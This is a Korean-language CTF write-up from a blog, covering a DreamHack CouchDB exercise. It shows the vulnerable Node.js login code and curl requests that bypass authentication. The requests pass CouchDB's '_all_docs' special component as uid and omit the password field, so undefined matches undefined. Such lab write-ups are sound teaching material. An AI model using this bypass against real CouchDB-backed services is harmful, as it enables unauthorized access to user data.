Information Security

[DreamHack]-WHA Exercise: CouchDB 본문

INTERLUDE/Web Hacking

[DreamHack]-WHA Exercise: CouchDB

sohexz 2022. 4. 28. 19:20

ouchDB 실습 예제

var createError = require('http-errors');
var express = require('express');
var path = require('path');
var cookieParser = require('cookie-parser');
const nano = require('nano')(`http://${process.env.COUCHDB_USER}:${process.env.COUCHDB_PASSWORD}@couchdb:5984`);
const users = nano.db.use('users');
var app = express();
// view engine setup
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
app.use(express.static(path.join(__dirname, 'public')));
/* GET home page. */
app.get('/', function(req, res, next) {
  res.render('index');
});
/* POST auth */
app.post('/auth', function(req, res) {
    users.get(req.body.uid, function(err, result) {
        if (err) {
            console.log(err);
            res.send('error');
            return;
        }
        if (result.upw === req.body.upw) {
            res.send(`FLAG: ${process.env.FLAG}`);
        } else {
            res.send('fail');
        }
    });
});
// catch 404 and forward to error handler
app.use(function(req, res, next) {
  next(createError(404));
});
// error handler
app.use(function(err, req, res, next) {
  // set locals, only providing error in development
  res.locals.message = err.message;
  res.locals.error = req.app.get('env') === 'development' ? err : {};
  // render the error page
  res.status(err.status || 500);
  res.render('error');
});
module.exports = app;

분석

로그인 버튼을 클릭하면 POST 메소드를 통해 아이디와 패스워드를 /auth 페이지에 전달

get 함수를 통해 전달받은 uid에 해당하는 데이터를 조회

조회한 데이터의 upw와 이용자가 입력한 upw를 비교해 일치한다면 플래그를 출력

데이터를 조회할 때 이용자의 입력 값인 uid에 대해 어떠한 검사도 하지 않으므로 CouchDB의 특수 구성 요소를 전달할 수 있는 취약점이 있음

 

익스플로잇

1. 특수 구성 요소 찾기

nano 패키지의 get 함수 내부에서 전달된 입력에 특수 구성 요소가 포함되어 있는지 검사하지 않기 때문에 애플리케이션에서 직접 검사를 수행해야 함

애플리케이션에서도 입력 값을 검사하지 않기 때문에 특수 구성 요소를 사용할 수 있음

 

특수 구성 요소를 이용한 공격 기법

  • _all_docs 페이지에 접근해 데이터베이스의 정보를 획득하는 방법
  • 애플리케이션의 조건문을 만족하고 인증을 우회하는 방법

auth 기능 코드

/* POST auth */
app.post('/auth', function(req, res) {
    users.get(req.body.uid, function(err, result) {
        if (err) {
            console.log(err);
            res.send('error');
            return;
        }
        if (result.upw === req.body.upw) {
            res.send(`FLAG: ${process.env.FLAG}`);
        } else {
            res.send('fail');
        }
    });
});

uid에 해당하는 데이터를 조회하고 에러와 조회 결과를 각각 err와 result 변수에 저장

결과에 포함된 upw 키 즉, result.upw와 이용자가 전달한 upw 값이 일치하는지 비교

 조회한 결과에서 upw에 해당하는 키가 존재하지 않으면 result.upw의 값은 undefined가 됨

 

all_docs 입력

$ curl -X POST http://host1.dreamhack.games:17032/auth -H "Content-Type: application/json" -d '{"uid": "_all_docs", "upw": "guest"}'
fails

uid에 _all_docs 특수 구성 요소를 입력하고, upw에 “guest”를 입력한 모습

특수 구성 요소를 전달했을 때 에러가 발생하지 않고, upw를 비교하는 조건문에서 일치하지 않아 “fails”가 반환된 것을 확인할 수 있음

 

2. 조건문 만족 값

uid에 _all_docs를 입력하고 전달하면 조회한 결과에 upw라는 키가 존재하지 않기 때문에 이는 undefined가 됨

해당 값은 정의되지 않은 값을 의미

curl 명령어를 통해 uid에 특수 구성 요소를 포함하고, upw에 “guest”를 입력한 요청에서 "fails"가 반환된 이유는 “guest”와 undefined는 일치하지 않기 때문

-> 이용자가 전달하는 upw 또한 undefined라는 값을 갖고 있어야 함

 

upw에 “undefined” 문자열을 삽입한 요청

curl -X POST http://host1.dreamhack.games:17032/auth -H "Content-Type: application/json" -d '{"uid": "_all_docs", "upw": "undefined"}'
fail

upw에 “undefined” 문자열을 삽입하고 요청을 보낸 모습

애플리케이션에서는 이를 “undefined”라는 단순 문자열로 판단하기 때문에 인증 조건을 만족할 수 없음

 

upw에 데이터가 없는 요청

curl -X POST http://host1.dreamhack.games:17032/auth -H "Content-Type: application/json" -d '{"uid": "_all_docs", "upw": ""}'
fail

upw에 어떠한 문자도 삽입하지 않고 요청을 전송한 모습

애플리케이션에서는 upw의 데이터가 비어있다고 판단하기 때문에 인증 조건을 만족할 수 없음

 

upw가 undefined인 요청

curl -X POST http://host1.dreamhack.games:17032/auth -H "Content-Type: application/json" -d '{"uid": "_all_docs"}'
FLAG: DH{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

upw가 undefined인 요청을 전송한 모습

undefined는 정의되지 않은 값을 의미하므로, POST Body에 upw 키를 제거하면, 애플리케이션의 조건문에서 undefined == undefined가 성립되어 플래그를 획득할 수 있음